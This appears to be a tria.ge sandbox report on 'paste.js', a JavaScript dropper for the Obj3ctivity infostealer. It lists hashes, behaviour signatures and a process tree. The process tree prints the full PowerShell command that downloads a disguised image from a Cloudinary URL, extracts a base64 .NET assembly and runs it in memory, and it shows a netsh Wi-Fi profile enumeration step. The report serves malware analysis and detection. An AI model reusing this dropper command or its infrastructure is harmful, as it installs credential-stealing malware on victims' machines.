Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
229s -
max time network
204s -
platform
windows10-2004_x64 -
resource
win10v2004-20250129-en -
resource tags
arch:x64arch:x86image:win10v2004-20250129-enlocale:en-usos:windows10-2004-x64system -
submitted
30/01/2025, 22:54
Static task
static1
Behavioral task
behavioral1
Sample
paste.js
Resource
win10v2004-20250129-en
windows10-2004-x64
25 signatures
900 seconds
Behavioral task
behavioral2
Sample
paste.js
Resource
win10ltsc2021-20250128-en
windows10-ltsc 2021-x64
21 signatures
900 seconds
General
-
Target
paste.js
-
Size
3KB
-
MD5
affbcba0899f7fb6af87418706eabb0c
-
SHA1
46e4e6b23c523a45a65dbd916f98f5476a4cd09a
-
SHA256
6c15201ff41059d46bce1d287fd60ca954e9a1ae76e22dc475f953e4328acde8
-
SHA512
68acae9c905e545f6d1fcec0255a4d13b9f0c8ddafb597b0ea2a686a6349d089a6736e6355cad19086ca66ad4c12e5ab732dc20990230636e3b5dbab374bc6f0
Malware Config
Extracted
Language
ps1
Deobfuscated
URLs
ps1.dropper
https://res.cloudinary.com/daxwua63y/image/upload/v1737696171/heke2pmteuw8sqsplhkl.jpg
exe.dropper
https://res.cloudinary.com/daxwua63y/image/upload/v1737696171/heke2pmteuw8sqsplhkl.jpg
Signatures
-
Detects Obj3ctivity Stage1 1 IoCs
Obj3ctivity aka PXRECVOWEIWOEI is an infostealer written in C#.
resource yara_rule behavioral1/memory/2020-15-0x0000000000400000-0x00000000004E6000-memory.dmp family_obj3ctivity -
Obj3ctivity family
-
Obj3ctivity, PXRECVOWEIWOEI
Obj3ctivity aka PXRECVOWEIWOEI is an infostealer written in C#.
-
Blocklisted process makes network request 2 IoCs
flow pid Process 2 2160 powershell.exe 7 2160 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-805940606-1861219160-370298170-1000\Control Panel\International\Geo\Nation wscript.exe -
Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-805940606-1861219160-370298170-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 MSBuild.exe Key opened \REGISTRY\USER\S-1-5-21-805940606-1861219160-370298170-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 MSBuild.exe Key opened \REGISTRY\USER\S-1-5-21-805940606-1861219160-370298170-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 MSBuild.exe -
pid Process 2160 powershell.exe -
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 25 icanhazip.com 30 ip-api.com -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 2160 set thread context of 2020 2160 powershell.exe 88 -
Command and Scripting Interpreter: JavaScript 1 TTPs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe -
System Location Discovery: System Language Discovery 1 TTPs 5 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language chcp.com Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language findstr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MSBuild.exe -
System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs
Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.
pid Process 1704 cmd.exe 4192 netsh.exe -
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName taskmgr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000 taskmgr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A taskmgr.exe -
Checks processor information in registry 2 TTPs 4 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0 MSBuild.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier MSBuild.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 taskmgr.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString taskmgr.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2160 powershell.exe 2160 powershell.exe 2020 MSBuild.exe 2020 MSBuild.exe 2020 MSBuild.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 2192 taskmgr.exe -
Suspicious use of AdjustPrivilegeToken 6 IoCs
description pid Process Token: SeDebugPrivilege 2160 powershell.exe Token: SeDebugPrivilege 2020 MSBuild.exe Token: SeSecurityPrivilege 636 msiexec.exe Token: SeDebugPrivilege 2192 taskmgr.exe Token: SeSystemProfilePrivilege 2192 taskmgr.exe Token: SeCreateGlobalPrivilege 2192 taskmgr.exe -
Suspicious use of FindShellTrayWindow 64 IoCs
pid Process 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe -
Suspicious use of SendNotifyMessage 64 IoCs
pid Process 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe 2192 taskmgr.exe -
Suspicious use of WriteProcessMemory 22 IoCs
description pid Process procid_target PID 456 wrote to memory of 2160 456 wscript.exe 83 PID 456 wrote to memory of 2160 456 wscript.exe 83 PID 2160 wrote to memory of 2020 2160 powershell.exe 88 PID 2160 wrote to memory of 2020 2160 powershell.exe 88 PID 2160 wrote to memory of 2020 2160 powershell.exe 88 PID 2160 wrote to memory of 2020 2160 powershell.exe 88 PID 2160 wrote to memory of 2020 2160 powershell.exe 88 PID 2160 wrote to memory of 2020 2160 powershell.exe 88 PID 2160 wrote to memory of 2020 2160 powershell.exe 88 PID 2160 wrote to memory of 2020 2160 powershell.exe 88 PID 2020 wrote to memory of 1704 2020 MSBuild.exe 90 PID 2020 wrote to memory of 1704 2020 MSBuild.exe 90 PID 2020 wrote to memory of 1704 2020 MSBuild.exe 90 PID 1704 wrote to memory of 1640 1704 cmd.exe 93 PID 1704 wrote to memory of 1640 1704 cmd.exe 93 PID 1704 wrote to memory of 1640 1704 cmd.exe 93 PID 1704 wrote to memory of 4192 1704 cmd.exe 94 PID 1704 wrote to memory of 4192 1704 cmd.exe 94 PID 1704 wrote to memory of 4192 1704 cmd.exe 94 PID 1704 wrote to memory of 4696 1704 cmd.exe 95 PID 1704 wrote to memory of 4696 1704 cmd.exe 95 PID 1704 wrote to memory of 4696 1704 cmd.exe 95 -
outlook_office_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-805940606-1861219160-370298170-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 MSBuild.exe -
outlook_win_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-805940606-1861219160-370298170-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 MSBuild.exe
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\paste.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:456 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$originalText = '#x#.621/elif/#en.salij//:sp##h';$restoredText = $originalText -replace '#', 't';$imageUrl = 'https://res.cloudinary.com/daxwua63y/image/upload/v1737696171/heke2pmteuw8sqsplhkl.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = [ClassLibrary1.Home].GetMethod('main').Invoke($null, [object[]] @($restoredText,'false','MSBuild','false'))"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2160 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"3⤵
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- outlook_office_path
- outlook_win_path
PID:2020 -
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All4⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Wi-Fi Discovery
- Suspicious use of WriteProcessMemory
PID:1704 -
C:\Windows\SysWOW64\chcp.comchcp 650015⤵
- System Location Discovery: System Language Discovery
PID:1640
-
-
C:\Windows\SysWOW64\netsh.exenetsh wlan show profile5⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Wi-Fi Discovery
PID:4192
-
-
C:\Windows\SysWOW64\findstr.exefindstr All5⤵
- System Location Discovery: System Language Discovery
PID:4696
-
-
-
-
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Suspicious use of AdjustPrivilegeToken
PID:636
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /71⤵
- Checks SCSI registry key(s)
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:2192
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82